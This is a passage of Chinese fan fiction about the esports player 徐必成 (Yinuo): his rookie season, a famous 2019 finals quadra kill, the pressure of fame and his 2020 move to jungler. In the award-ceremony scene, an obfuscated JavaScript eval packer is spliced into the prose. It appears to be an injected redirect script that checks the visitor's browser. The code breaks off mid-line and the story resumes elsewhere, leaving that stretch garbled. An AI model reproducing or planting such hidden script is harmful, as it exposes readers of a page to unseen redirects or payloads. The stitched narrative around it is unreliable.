想起第一次直播,只有七个观众,但他还是认真地讲解每一个操作。 想起青训选拔赛,他拿了五杀,被BA的教练看中。 想起第一次穿上队服,第一次走进训练室,第一次和Cat他们一起打训练赛…… 这一路走来,其实很快乐。 即使有压力,即使被质疑,但当他坐在电脑前,戴上耳机,进入游戏的那一刻,一切都是纯粹的——只有胜利,只有操作,只有和队友并肩作战的信任感。 这才是他打职业的初心。 “想通了?” 身后传来声音。 徐必成回头,看到Cat站在阳台门口,手里拿着两罐可乐。 “Cat哥还没睡?” “睡不着。”Cat走过来,递给他一罐,“看你房间灯黑着,猜你在这儿。” 两人并排坐在旧沙发上,拉开可乐罐,气泡声在寂静的夜里格外清晰。 “教练找你谈话了?”Cat问。 “嗯。” “说什么了?” “让我卸载微博,别把自己当天才。” Cat笑了:“早该这样了。你知道我刚打职业那会儿,被叫什么吗?” “什么?” “中单法王,天才少年,KPL的未来。”Cat喝了一口可乐,“然后我飘了,训练不认真,比赛瞎打。结果呢?连跪,被按在替补席,差点退役。” 徐必成惊讶地看着他。Cat现在可是联盟顶级中单,很难想象他有过那样的低谷。 “后来我想通了。”Cat看着远处,“所谓的‘天才’,不过是比别人起步早一点,理解快一点。但职业这条路,最后拼的是谁更持久,谁更稳定,谁能在低谷里爬起来继续走。” 夜空中,一架飞机缓缓飞过,红色的航灯一闪一闪。 “Cat哥,你打过最艰难的比赛是哪场?”徐必成忽然问。 Cat想了想:“去年秋季赛,打XQ。那场输了就进不了季后赛。前两局被碾压,第三局开局又劣势。当时我觉得完了,真的完了。” “然后呢?” “然后我们翻了。”Cat笑了,“具体怎么翻的我忘了,只记得水晶爆炸那一刻,我手抖得连耳机都摘不下来。后来看回放,发现那一局我们其实有很多失误,但就是没放弃,一点点找机会,最后抓住了对方的破绽。” 他转向徐必成:“所以啊,输不可怕,怕输才可怕。你是新人,有失误的权利,有成长的时间。别让那些乱七八糟的声音,偷走了你打游戏的快乐。” 徐必成点点头。 两人又坐了一会儿,聊了些无关紧要的事——哪个战队的食堂最好吃,哪个解说的口误最搞笑,哪个英雄的新皮肤最帅。没有训练,没有比赛,没有压力,只是两个同龄人在深夜闲聊。 最后Cat站起来:“回去睡吧,明天还要训练。” “好。” 徐必成也跟着起身。走到门口时,他忽然说:“Cat哥,谢谢。” “谢什么?” “谢谢你……带我。” Cat愣了一下,然后笑了,揉了揉他头发:“傻。走了。” 回到宿舍,小兽已经睡着了。徐必成轻手轻脚洗漱,躺到床上。他打开手机,没有看微博,而是打开了相册。 里面存着很多截图:第一次五杀,第一次上国服,第一次训练赛胜利,第一次正式比赛…… 他一张张翻过去,最后停在一张照片上——那是首秀那天,比赛结束后在后台拍的。他举着MVP的奖牌,笑得有点傻,但眼睛很亮。 那时的他,不知道前路有多少挑战,也不知道会背负多少期待。 但他知道,他喜欢这个赛场。 这就够了。 徐必成关掉手机,闭上眼睛。 明天,训练赛,他要改变。 不是为证明给谁看,只是因为他想赢,因为他喜欢赢。 --- 一周后,BA黑凤梨 vs QGhappy,常规赛第八轮。 比赛开始前,徐必成坐在选手席上,平静地调试设备。今天他打的是孙尚香,对面刺痛拿的是公孙离。 镜头给到他特写时,解说李九说:“一诺今天看起来很沉稳啊,不像之前那么急躁了。” 琪琪接话:“新人都是要交学费的,看来他学得很快。” BP结束,进入游戏。 开局双方和平发育。徐必成的孙尚香稳扎稳打,补刀几乎全收,经济始终领先刺痛。两分钟暴君团,他没有像以前那样急于进场,而是等六点六的白起开团后,才从侧翼输出。 精准的翻滚,恰到好处的站位,每一炮都打在关键位置。 “Double Kill!” 孙尚香拿下双杀。 此后节奏完全被BA掌控。徐必成不再追求个人高光,而是完全融入团队——该发育时发育,该打团时打团,该让资源时毫不犹豫地让。 十八分钟,BA推掉QGhappy水晶。 徐必成的战绩:8/1/5,输出占比34%,参团率82%。 数据不算爆炸,但足够稳定。 赛后采访,记者问:“今天打得很稳,是特意调整了风格吗?” 徐必成想了想,说:“之前太想证明自己,反而打不好。现在觉得,能赢就行,不管用什么方式。” 记者追问:“那‘天才’这个标签呢?还介意吗?” 徐必成笑了,很浅的笑,但很真实:“我只是个打游戏的,标签什么的,不重要。” 他说的是真心话。 这一周,他卸载了微博,不再看评论。训练时专注提升自己,休息时和队友聊天打闹。他发现,当他不去在意那些声音时,那些声音反而伤害不到他了。 回到后台,教练拍拍他肩膀:“今天打得很好。” “团队打得好。”徐必成说。 Cat走过来,勾住他脖子:“可以啊小子,学会说场面话了。” “跟你学的。” 众人都笑了。 那天晚上,徐必成照例复盘比赛。笔记本上,他写下新的心得: “射手的第一要义是活着。活着才有输出。” “相信队友,他们能创造机会。” “别想着当英雄,当赢家。” 写完这些,他合上笔记本,走到窗前。 窗外夜色深沉,但训练基地灯火通明。他能看到隔壁楼里,其他战队的训练室也亮着灯。这个城市,这个行业,有无数人和他一样,在深夜里依然奋战。 他们都有天赋,都有梦想,都想赢。 但最后能走到哪一步,取决于谁能在漫长的黑暗中,守住最初的那点光。 徐必成拿出手机,给妈妈发了条消息:“妈,今天赢了。我挺好的,别担心。” 然后他点开那个很久没看的微博,找到“薇风拂晓”,发了条私信:“今天赢了,打得很稳。你上次说的话,我想明白了。” 这次对方没有立刻回复。 但他知道,总会有人看到的。 总会有人,在某个角落,为他加油。 这就够了。 徐必成关掉灯,走出训练室。 走廊的声控灯应声亮起,一盏接一盏,像为他铺开的星光大道。 路还很长。 但他已经准备好,一步一步走下去。 【第二章·完】 3. 那一推的荣光与阴影 2019年10月,上海梅赛德斯-奔驰文化中心 聚光灯亮如白昼。 徐必成站在舞台边缘,能感觉到额角的汗珠正缓缓滑落。耳机隔绝了外界的喧嚣,但隔绝不了胸腔里那颗心脏狂野的跳动——咚咚、咚咚,像战鼓擂在耳膜上。 他调整了一下呼吸,手指在手机侧面的音量键上轻轻摩挲。这是他的小习惯,上场前确认一切都处在最舒适的状态。手机温度适中,屏幕清洁如新,耳机音量调到刚好能听清队友语音、又不至于被观众席的声浪干扰的档位。 “最后确认一遍。” 教练的声音在耳机里响起,平静中带着紧绷。 “我关羽,带线牵制,你们正面四个打。”六点六的声音一如既往地沉稳。 “我张飞有大,能保。”爱思活动了一下手腕。 “我婉儿,能飞。”老帅——张宇辰,AG超玩会的队长,此刻的声音冷静得像手术刀。 徐必成舔了舔干裂的嘴唇:“我公孙离,跟输出。” 这是2019年KPL秋季赛总决赛,AG超玩会对阵QGhappy。比分2:2,进入决胜的第五局。前四局打得天昏地暗,双方各显神通,每一波团战都像在刀尖上博弈。而现在,巅峰对决,双方阵容完全镜像: 对抗路:关羽 vs 关羽 打野:盘古 vs 盘古 中路:上官婉儿 vs 上官婉儿 发育路:公孙离 vs 公孙离 辅助:张飞 vs 张飞 十个人的手机屏幕上,是十个一模一样的英雄。 绝对的公平,也绝对的残酷。 “这场比赛将决定银龙杯的归属。”解说李九的声音透过隔音耳机隐约传来,“镜像对决,拼的就是细节,就是临场发挥,就是——谁更敢打。” 徐必成闭上眼睛,深吸一口气。 脑海中闪过这个赛季的无数画面。 年初,BA黑凤梨解散,他被AG超玩会拍下。转会费创造了当时的纪录,舆论哗然:“AG疯了?买一个新人这么贵?” 春季赛,他尝试转型打野,效果不佳。AG季后赛一轮游,骂声如潮:“就这?天才少年?” 夏季休赛期,他把自己关在训练室,每天练十几个小时。公孙离、孙尚香、马可波罗……每一个射手的每一个细节,反复打磨。 秋季赛,他重回发育路,与老帅、六点六、爱思、麟羽组成新的AG。常规赛一路高歌,但质疑从未停止:“吃经济,不参团,毒瘤打法。” 直到今天,直到此刻。 他睁开眼睛。 舞台对面的选手席,QGhappy的五人同样严阵以待。刺痛——这个和他对位了整个赛季的老对手,此刻正低头看着手机,表情专注。 “徐必成。” 老帅忽然喊了他的本名。 徐必成转头。 “别想太多。”老帅说,镜片后的眼睛锐利如鹰,“相信你的操作,相信我们。该上的时候,别犹豫。” 徐必成点头。 倒计时结束。 “欢迎来到王者荣耀!” 游戏音效响起。 --- 观众席第五排,林晓晓的手心全是汗。 她高二,今天翘了晚自习,偷偷从苏州坐高铁过来。身上穿的是攒了三个月零花钱买的AG队服,手里举着连夜赶制的应援手幅——上面画着Q版的一诺,旁边写着“刀锋所至,一往无前”。 这是她第一次现场看比赛。 之前都是在教室用手机偷偷看直播,戴着耳机,假装在听英语听力。同桌知道她的秘密,每次都会帮忙打掩护:“老师来了我戳你。” 今天,她终于坐在了这里。 巨大的屏幕悬挂在舞台上方,画面清晰到能看清每一个小兵的血量。当双方阵容确定是十个一模一样的英雄时,整个场馆爆发出难以置信的惊呼。 “我的天……”林晓晓喃喃自语。 旁边的男生——看起来是个大学生——激动地拍大腿:“镜像对决!总决赛镜像对决!KPL历史第一次吧?” 林晓晓没接话。她的全部注意力都在那个ID上:AG.一诺。 公孙离。 她记得自己是怎么成为粉丝的。三个月前,周末补课回家,打开B站想放松一下,首页推送了一个视频:“【公孙离天花板】一诺极限操作集锦”。 鬼使神差地点进去。 七分钟的视频,她看了三遍。 最后那个镜头——公孙离一技能进塔,大招推墙,二技能挡塔伤,残血反杀——让她直接从椅子上跳了起来。 从那以后,她开始关注KPL,关注AG超玩会,关注这个叫一诺的选手。她下载了王者荣耀,苦练公孙离,虽然到现在还停留在钻石段位。 但没关系。 她喜欢看他打。 “开局了!”旁边的男生喊道。 林晓晓屏住呼吸。 --- 比赛进行到四分钟。 场上局势胶着得令人窒息。 镜像阵容意味着双方对彼此的想法了如指掌。每一次Gank都被反蹲,每一次开龙都被察觉,每一次团战都是镜像开团、镜像拉扯、镜像撤退。 经济差始终在五百以内浮动。 徐必成的手指在屏幕上飞快滑动。公孙离在他的操控下灵动如蝶,每一次普攻衔接技能都丝滑流畅。但他能感觉到,对面的刺痛同样状态火热——两人的补刀数几乎持平,换血也互有胜负。 “这样下去要拖后期了。”六点六的声音传来,“后期公孙离打团不好发挥。” “找机会开一波。”老帅说,“我婉儿马上四级。” 徐必成瞥了一眼小地图。中路河道之灵即将刷新,这是前期最重要的中立资源。双方打野都在向中路靠拢,两边辅助也在做视野。 风暴来临前的宁静。 “我来了。”六点六的关羽从下路赶到,隐藏在蓝BUFF墙后的草丛。 “我直接飞?”老帅问。 “等我先手。”爱思的张飞在河道草丛徘徊,“我吼到谁杀谁。” 徐必成清完下路兵线,向中路移动。他的公孙离走在相对安全的位置,但注意力高度集中——这种时候,任何一个走位失误都可能被瞬间开团。 河道之灵刷新。 QGhappy的盘古率先动手。几乎同时,AG的盘古也交出惩戒—— “抢到了!”爱思大喊。 AG拿到河道之灵,全员升到四级! “开!” 六点六的关羽从草丛杀出,大招“刀锋铁骑”直接将QGhappy三人推到墙上!爱思张飞紧接着跳进人堆,大招“狂兽血性”怒吼而出,再次控住! 完bo! 老帅的上官婉儿秒接大招,笔墨飞舞,直冲后排! 但QGhappy的反应快到极致。刺痛的公孙离净化解控,二技能拉开距离,反手大招将突进的婉儿推开。Fly的关羽反手一刀劈中AG后排,瞬间打乱阵型。 团战陷入混战。 徐必成的公孙离在战场边缘游走,一技能进场偷点伤害,二技能挡掉关键技能,三技能推开突脸的敌人。他的大脑在高速运转:计算每个技能的CD,预判每个对手的下一步,寻找那个一击必杀的机会。 但没有机会。 QGhappy的拉扯做得太好了。每次AG想要集火一个人,总会被其他人打断。双方互换技能和血量,但始终没有人倒下。 “撤!”老帅果断下令。 AG全员后撤。QGhappy也没有深追,双方默契地拉开距离,各自回城补状态。 第一波大规模团战,0换0。 “太焦灼了……”解说琪琪的声音透着紧张,“双方都打得极其谨慎,不肯给任何机会。” 李九接话:“这就是顶尖对决。一个失误,可能就是整场比赛的转折点。” 徐必成回到泉水,补满状态,买出末世。他看了一眼经济面板:自己比刺痛多一百块,几乎可以忽略不计。 时间来到十分钟。 暗影主宰刷新。 “这条龙必须争。”老帅说,“拿了主宰就有兵线优势,可以破高地。” “怎么打?”爱思问。 “我绕后。”六点六说,“你们正面给压力,我找机会推C位。” 经典的四一分带战术。但对面也是同样的想法——Fly的关羽同样消失在地图上,大概率也在寻找绕后机会。 徐必成跟着队友向龙坑移动。他的公孙离走在队伍中间,前后都有人保护。但直觉告诉他,危险正在逼近。 小地图上,双方在龙坑两侧对峙。技能试探,走位拉扯,谁也不敢先手开龙。 十五秒。 三十秒。 一分钟。 时间在令人窒息的僵持中流逝。观众席鸦雀无声,所有人都屏住呼吸。 然后—— “关羽在后面!”爱思突然大喊。 Fly的关羽从AG后方杀出,大招直奔C位! 几乎同一时刻,六点六的关羽也从QGhappy侧翼现身,目标直指刺痛! 两个关羽,两个大招,在同一秒发动! 战场瞬间被分割! “保一诺!”老帅吼道。 爱思的张飞秒开大招,吼飞了Fly的关羽。但Fly净化秒解,二技能位移调整角度,一刀劈下—— 徐必成的公孙离极限二技能躲开致命一刀,但血量已经下半。 正面战场,六点六的关羽推到了刺痛,但刺痛的公孙离同样净化解控,反手输出。双方前排绞杀在一起,技能光芒乱闪,根本分不清谁是谁。 混乱。 极致的混乱。 徐必成的大脑却在这一刻异常清醒。 他看到了那个机会。 QGhappy的阵型因为关羽的绕后被短暂拉扯,刺痛的位置虽然安全,但另外三人——盘古、婉儿、张飞——为了集火六点六的关羽,站位过于集中。 而他的公孙离,手里有闪现,有大招,有净化。 时间仿佛慢了下来。 他能听到自己的心跳,能感觉到手指触碰屏幕的细微触感,能看到屏幕上每一个英雄的每一个动作都变成一帧一帧的画面。 老帅的声音在耳机里响起:“退!先退!” 退? 徐必成的手指动了。 公孙离一技能向前位移,纸伞留在原地。 这个动作让所有人都愣住了——包括队友,包括对手,包括解说,包括全场观众。 他在干什么? 向前?冲向对方三人? “一诺!”爱思的声音都变了调。 但徐必成没有停。 公孙离落地瞬间,大招“孤鹜断霞”出手—— 不是推向敌人。 而是将纸伞推向了QGhappy三人组的后方。 然后,闪现! 金光闪过。 公孙离的身影消失在原地,出现在纸伞的位置——也就是,QGhappy三人组的正中央! 完美绕后! “我的天!!!”解说李九的惊呼响彻场馆。 QGhappy三人根本来不及反应。他们所有的注意力都在正面的关羽身上,完全没想到公孙离会以这种方式出现在身后。 徐必成的手指在屏幕上化作残影。 二技能“霜叶舞”旋转开启,挡掉婉儿的第一波笔墨伤害。普攻,接一技能回到最初的伞位,再普攻,再大招推开想要反打的盘古,再普攻…… 他的公孙离在人群中跳舞。 每一次位移都恰到好处地躲开关键技能,每一次普攻都打在血量最低的人身上。枫叶印记层层叠加,爆炸,再叠加,再爆炸。 系统播报如同死神的吟唱: “Double Kill!” “Triple Kill!” “Quadra Kill!” 四杀! QGhappy三人加一个赶回来救援的张飞,全部倒下! 只剩下刺痛的公孙离,残血逃生。 全场死寂。 然后,山呼海啸般的欢呼几乎掀翻屋顶! “一诺!!!!”李九的声音已经嘶哑,“这是什么操作?!这是什么胆量?!一打四!四杀!总决赛!巅峰对决!他做到了!!!” 徐必成的手在抖。 剧烈地抖。 他甚至需要把手机放在桌上,用两只手才能稳住。肾上腺素像岩浆一样在血管里奔涌,耳膜嗡嗡作响,视线都有些模糊。 “一波!一波!”老帅的声音激动到变形。 AG五人带着兵线直冲高地。QGhappy仅存的刺痛无力回天,水晶在五人的围攻下轰然爆炸。 “Victory!” 胜利的音效响起。 徐必成瘫在椅子上,大口喘气。汗水浸透了队服,额前的头发湿漉漉地贴在皮肤上。他摘掉耳机,外界的声音如同潮水般涌来——欢呼、尖叫、掌声、解说激昂的总结。 老帅第一个扑过来抱住他,然后是六点六,是爱思,是麟羽。五个人抱成一团,又哭又笑。 “牛逼!徐必成你他妈太牛逼了!”六点六用力拍着他的背。 徐必成想说什么,但喉咙发紧,一个字也说不出来。 他抬起头,看向观众席。 万千灯光闪烁,无数张激动的面孔。他看不清楚任何一个人,但他知道,那些人都在为他欢呼。 那一刻,他感觉自己站在了世界之巅。 --- 赛后,后台通道。 徐必成被工作人员簇拥着往前走。不断有媒体想要采访,不断有粉丝想要签名,不断有闪光灯在眼前炸开。 “一诺看这边!” “能签个名吗?” “刚才那波太帅了!” 他机械地点头、签名、合影,大脑还处在空白状态。直到被推进休息室,门在身后关上,世界才安静下来。 休息室里,队友们已经在了。老帅坐在沙发上,双手捂着脸,肩膀微微抖动。六点六在打电话,声音哽咽:“妈,我们赢了,赢了……” 爱思和麟羽抱在一起,又哭又笑。 徐必成走到角落,拿起一瓶水,手抖得拧了好几次才拧开。冰凉的液体滑过喉咙,稍微缓解了一些燥热。 手机在口袋里疯狂震动。 他掏出来看,微信消息99+,微博@数万条,私信爆炸。粗略扫了一眼,全是赞美: “历史第一公孙离!” “KPL第一射手!” “一诺封神之战!” 热搜第一:#一诺四杀# 第二:#AG夺冠# 第三:#公孙离天花板# 第四:#总决赛镜像对决# 他点开那个四杀的视频。剪辑得很精良,慢镜头回放了他每一个操作细节,配上了史诗级的BGM和激情的解说。弹幕厚得完全遮住了画面: “这操作是人打的?” “我跪着看的” “一诺牛逼!!!” “从此公孙离只有两种玩家:一诺和其他人” 点赞数:217万。 转发数:43万。 评论数:8.6万。 数字庞大得令人眩晕。 徐必成关掉视频,靠在墙上。胜利的喜悦还在胸腔里激荡,但另一种情绪——一种冰冷而沉重的东西——开始悄悄爬上来。 他知道这意味着什么。 更高的期待,更严苛的要求,更少的容错率。 从此以后,他打的每一场比赛,都会被拿来和这一场比较。任何一个失误,都会被无限放大:“就这?还历史第一公孙离?” “怎么了?”Cat的声音传来。 徐必成抬头。Cat今天作为解说嘉宾在场,比赛结束后特意来后台祝贺。他穿着西装,难得正经,但眼神还是一如既往的锐利。 “Cat哥。”徐必成站直身体。 “打得好。”Cat走过来,用力拍了拍他肩膀,“那一波,我在解说席上差点跳起来。” “谢谢。” Cat盯着他看了几秒:“但你好像不太开心?” “没有。”徐必成否认,但语气不够坚定。 Cat没追问,只是说:“记住这种感觉。赢的感觉,被所有人欢呼的感觉。但也别忘了……”他顿了顿,“捧得越高,摔得越狠。这个圈子,从来不缺造神,更不缺毁神。” 说完,他转身去和其他队员打招呼。 徐必成站在原地,咀嚼着这句话。 捧得越高,摔得越狠。 --- 颁奖典礼。 银龙杯在舞台中央熠熠生辉。 AG五人走上舞台,站在奖杯前。主持人将话筒递给老帅,老帅说了些什么,徐必成没太听清。他的全部注意力都在那个奖杯上——精致的龙纹,冰冷的金属触感,沉甸甸的重量。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在线人数:47万。 一个黑屏的直播间,47万人。 徐必成盯着那个数字,手指悬在键盘上。他想开播,想说点什么,感谢粉丝,分享喜悦。但最终,他关掉了网页。 他打开手机相册,翻看今天拍的照片。 举起奖杯的,和队友拥抱的,站在聚光灯下的。 每一张,他都笑得很灿烂。 但只有他自己知道,那些笑容里,有多少是真实的快乐,有多少是表演给镜头看的得体。 翻到一张后台拍的。他独自坐在椅子上,低着头,手里握着矿泉水瓶。照片是爱思偷拍的,光线昏暗,看不清表情,但能感觉到一种沉重的疲惫。 这张照片,他没发微博。 窗外传来汽车驶过的声音。徐必成走到窗边,看向外面的街道。凌晨三点的上海,依然有零星的车灯划过。整座城市在沉睡,但电竞这个行业,永远有人在深夜清醒。 他想起Cat说的话。 捧得越高,摔得越狠。 那么,他现在被捧到多高了? 微博粉丝数:从赛季初的三十万,一夜之间暴涨到一百二十万。超话阅读量破亿,后援会紧急扩招管理,周边商品秒空。 论坛里,关于他的帖子铺天盖地。技术分析贴、颜值讨论贴、甚至还有CP粉的拉郎配贴。 他被推上了神坛。 但神坛之下,是万丈深渊。 徐必成打开微博,点开私信。和往常一样,大部分是赞美和鼓励。但往下翻,开始出现不同的声音: “赢了就飘?采访时那什么态度?” “不就一波操作吗,吹一辈子?” “坐等下一个赛季拉胯” 他关掉私信,却看到热搜上又出现一个新词条:#一诺表情管理# 点进去,是他颁奖时的一张截图。角度刁钻,捕捉到他某个瞬间的疲惫和茫然。配文:“夺冠了还不开心?装什么?” 评论里吵成一团: “人家累了不行?” “就是飘了,看不起亚军呗” “键盘侠真恶心,你行你上” 徐必成看了几眼,关掉手机。 他走到训练室的镜子前,看着里面的自己。黑眼圈,略显苍白的脸,眼睛里有血丝。队服领口歪了,头发也乱糟糟的。 这就是那个被称作“天才”、“传奇”、“神”的人? 他对着镜子,尝试挤出一个笑容。 很假。 手机又震动了。这次是妈妈打来的视频电话。 徐必成调整了一下表情,接通。 屏幕里出现妈妈的笑脸:“儿子!妈妈看到你夺冠了!太棒了!” “妈。”徐必成的鼻子突然有点酸,“你还没睡?” “睡不着,太高兴了。”妈妈的眼睛亮晶晶的,“邻居王阿姨刚才还来家里恭喜,说她儿子特别喜欢你。你现在可是大明星了。” “不是什么明星,就是个打游戏的。” “在妈妈心里,你就是最棒的。”妈妈顿了顿,声音轻柔下来,“是不是累了?看你脸色不太好。” 徐必成揉了揉脸:“有点。刚结束庆功宴。” “那快去休息。别太拼,身体最重要。” “知道了。” 挂断电话,徐必成在镜子前站了很久。 最后,他打开电脑,登录游戏。 不是训练号,是他的私人账号。好友列表里,很多都是以前一起打游戏的朋友,有些知道他打职业了,有些还不知道。 他点开排位,匹配。 进入游戏,队友没人认出他——他的ID改成了乱码,战绩也隐藏了。 选英雄时,他选了公孙离。 开局,发育,打团。一切都和往常一样,但又不一样。队友会失误,对手会犯蠢,团战会打输,水晶会爆炸。 输了。 他盯着屏幕上的“失败”,忽然笑了。 这才是真实的游戏。 有赢有输,有高光有下饭。 不是每一波都能一推四,不是每一场都能拿四杀,不是每一次都能被万千人欢呼。 但正是这些平凡的时刻,构成了游戏——也构成了生活。 徐必成退出游戏,打开文档。 他开始写日记——这个习惯是Cat建议的,说能帮助整理思绪。 “2019年10月20日,AG夺冠。我打出了职业生涯至今最好的操作,可能会被记住很久。但我很害怕。害怕下一次打不出这样的操作,害怕让大家失望,害怕从高处摔下来。Cat哥说,捧得越高摔得越狠。我想,也许我不该被捧那么高。我只是个普通选手,会赢也会输。但好像没人愿意接受这个事实。” 写到这里,他停住了。 然后,他把这段话全部删掉。 重新写: “今天赢了,很开心。谢谢队友,谢谢粉丝。继续努力。” 他关掉文档,关掉电脑,关掉灯。 训练室陷入黑暗。 窗外,城市的霓虹依旧闪烁。而在网络的各个角落,关于“一诺四杀”的讨论还在持续发酵。B站、抖音、微博、贴吧……无数人在重复观看那个镜头,无数人在分析每一个细节,无数人在争论他是不是KPL第一射手。 有人把他捧上神坛,有人等着看他跌落。 而徐必成自己,躺在宿舍的床上,睁着眼睛看着天花板。 夺冠的喜悦像潮水一样褪去,留下的是一种空荡荡的疲惫。 他想起了那个找他签名的女孩。 “我会一直支持你的!永远!” 永远有多远? 他不知道。 但他知道,从明天开始,每一场比赛,他都要对得起这句话。 对得起那些说“永远”的人。 哪怕“永远”只是此刻的炽热。 哪怕他终将从神坛走下。 至少在这一刻,他是光。 这就够了。 徐必成闭上眼睛。 梦里,他还在那个赛场上。公孙离在人群中跳舞,枫叶飞舞,纸伞旋转。台下,万千人欢呼着他的名字。 而他,只是想赢。 仅此而已。 【第三章·完】 4. 王冠的重量 2020年3月,成都AG超玩会基地 雨从凌晨开始下,淅淅沥沥敲在训练室的玻璃窗上,留下蜿蜒的水痕。窗外是成都三月特有的灰蒙天色,整座城市笼罩在绵密的雨幕中,连远处的天府软件园轮廓都模糊不清。 徐必成坐在电脑前,盯着屏幕上的比赛录像。不是昨天的比赛,也不是上周的比赛,而是2019年秋季赛总决赛第五局——那个公孙离一推四的镜头,他已经看了不下一百遍。 录像暂停在公孙离闪现进场的瞬间。 他的手指在桌面上虚点,模拟着当时的操作:一技能向前,大招推伞,闪现,二技能旋转……每一个动作都刻在肌肉记忆里,闭着眼睛都能完成。 但有什么用呢? 他关掉录像,打开训练营。选英雄界面,他犹豫了几秒,最后锁定了裴擒虎。 这是新赛季的版本答案,野核英雄,前期强势,节奏发动机。而他,徐必成,AG超玩会的冠军发育路,现在要转型打野。 “准备好了吗?” 教练的声音从身后传来。月光——AG的新任主教练,曾经的天才打野,此刻正抱着手臂站在徐必成身后,表情严肃。 “差不多了。”徐必成说,声音有点哑。他昨晚练到凌晨四点,睡了三个小时就爬起来继续。 “不是差不多,是要完全准备好。”月光走到他身边,俯身看向屏幕,“春季赛下周就开打了,你是AG的核心,你要带起全队的节奏。发育路和打野是两个位置,你要彻底转变思维。” “我知道。” “不,你不知道。”月光直起身,“发育路是什么?是发育,是后期保障,是团战输出核心。打野是什么?是节奏,是前期压制,是带动全场。你习惯了在线上安稳补刀,但现在,你要在野区和对面打野搏命,你要在三路之间奔波,你要在每一分钟都做出决策——开龙?抓人?反野?推塔?” 徐必成沉默。 这些道理他懂。赛季初版本大改,射手集体削弱,野核时代来临。AG夺冠的射核体系在新版本举步维艰,他们必须改变。 而改变的第一步,就是他转型打野。 “今天的训练赛约了DYG。”月光看了眼手表,“久诚的中单,清清的边路,湘军的打野——都是顶尖选手。你要在他们手里抢节奏。” 徐必成点头,活动了一下手腕。 手腕有点疼。从春节后恢复训练开始,这种隐痛就一直存在。他没告诉队医,也没告诉教练,只是每天睡前多贴一贴膏药。 不能停。 他是冠军,是FMVP候选人(虽然最终颁给了老帅),是无数人眼中的“天才”。天才怎么能因为一点疼痛就退缩? 九点,训练赛开始。 徐必成戴上耳机,隔绝了窗外的雨声。进入房间,对面五个ID整齐排列:DYG.久诚、DYG.清清、DYG.湘军…… 深呼吸。 比赛开始。 徐必成的裴擒虎蓝开,正常刷野路线。一分半钟,他升到四级,准备抓下。但刚走到河道,就发现对面的云中君已经在反他的红区。 “他们知道我在这。”他立刻反应过来。 DYG显然研究了他的打野习惯——或者说,研究了他作为一个前射手转型打野的固有思维:稳,偏发育,前期侵略性不足。 “我去守。”六点六的吕布赶过去,但红BUFF已经被反掉。 节奏断了。 接下来的五分钟,徐必成处处被动。每次他想做事,DYG总能提前预判。他被反野,被反蹲,被牵着鼻子走。 八分钟,经济落后三千。 “开波团吧。”爱思的鬼谷子提议。 “好,我绕后。”六点六说。 但团战开得仓促。爱思闪现开团拉到两人,但徐必成的裴擒虎进场时机慢了半拍——他习惯性地想等对方交完关键技能再上,这是射手的思维。 结果就是,等他进场时,队友已经倒下三个。 “撤!”老帅喊道。 徐必成想走,但湘军的云中君黏住了他。两人在野区缠斗,但经济差让裴擒虎根本不是云中君的对手。 “You have been slained.” 屏幕灰掉。 训练赛结束,0:3,AG被零封。 训练室里一片死寂。 只有雨声,敲打着窗户。 徐必成摘掉耳机,盯着屏幕上的数据面板:输出15%,承伤22%,参团率60%。作为一个打野,这个数据不及格。 “复盘。”月光的声音听不出情绪。 所有人移动到会议桌。投影仪打开,画面是第一局的龙团。月光用激光笔指着屏幕:“这里,一诺,你为什么犹豫?” 徐必成看着画面。那是暴君团前,他的裴擒虎在草丛蹲伏,对面C位走位失误,露出了破绽。 “我在等他们交技能……” “等?”月光打断他,“打野不能等。机会转瞬即逝,你等,机会就没了。你是裴擒虎,是前期节奏英雄,你要做的是创造机会,不是等待机会。” 徐必成咬紧牙关。 “再看这里。”月光快进到第二局,“中路河道,你明明看到对面打野在反猪,为什么不叫队友包夹?你在干什么?” “我想先刷完这个红……” “刷红?”月光提高音量,“一个红BUFF重要,还是一血重要?打野的思维是什么?是掠夺,是压制,是用一切资源创造优势。你还在用发育路的思维打野——我发育,我出山,我Carry。但打野不是这样,打野是要让队友Carry。” 句句诛心。 徐必成的脸一阵红一阵白。他低头看着自己的手,手指在微微颤抖。 “今天的训练赛就到这里。”月光合上笔记本,“一诺留下。” 其他队友陆续离开。爱思经过时拍了拍他肩膀,没说话。六点六叹了口气,摇摇头。 训练室里又只剩下两个人。 窗外的雨似乎更大了。 “知道我为什么让你转型打野吗?”月光问。 “版本需要。” “不止。”月光站起来,走到窗边,“你是天才,操作顶尖,意识也不错。但你的问题在于——你太稳了。发育路的稳是优点,但打野的稳就是缺点。我要你转型,不是要你放弃射手,而是要你学会另一种思维方式:侵略,冒险,赌博。” 徐必成抬头。 “你知道Cat为什么能成功转型吗?”月光转过身,“他从中单到辅助,从辅助到边路,现在又要转打野。他每一次转型都很痛苦,但他每一次都能成功。为什么?” “因为他……” “因为他敢。”月光接过话,“他敢尝试,敢犯错,敢在所有人都不看好的时候坚持自己的判断。你现在缺的就是这个‘敢’。” 徐必成沉默。 “春季赛第一场,我们打LGD。”月光走回桌边,“你还是打野。给你一周时间,我要看到改变。” 说完,他离开了训练室。 徐必成一个人坐在那里,听着雨声。 良久,他打开电脑,重新看训练赛录像。这一次,他着重看自己的每一个决策:每一次Gank的时机,每一次反野的选择,每一次团战的站位。 笔记本上,他写下: “打野思维:创造机会 > 等待机会” “资源优先级:人头 > 野怪” “节奏>发育” 写完这些,他靠在椅背上,闭上眼睛。 手腕的疼痛更明显了。 --- 同一时间,上海某公寓。 林晓晓趴在书桌上,面前摊着数学试卷,但一个字也看不进去。手机放在旁边,屏幕亮着,显示着微博界面。 热搜第12位:#AG训练赛被零封# 点进去,是一个自称“内部人士”的爆料:“AG春季赛训练赛状态极差,一诺转型打野效果不佳,被DYG三比零碾压。冠军魔咒要来了?” 评论已经吵翻了: “才一场训练赛而已,至于吗?” “一诺本来就不适合打野,AG教练组在想什么?” “冠军魔咒实锤了,坐等春季赛一轮游” “楼上闭嘴吧,一场训练赛能说明什么?” 林晓晓咬着嘴唇,手指在屏幕上滑动。她想发条评论反驳,但又不知道该说什么。 她不懂版本,不懂战术,不懂为什么好好的射手要转型打野。她只知道,她喜欢看一诺打公孙离,喜欢看他秀操作,喜欢看他赢。 但现在,好像一切都不一样了。 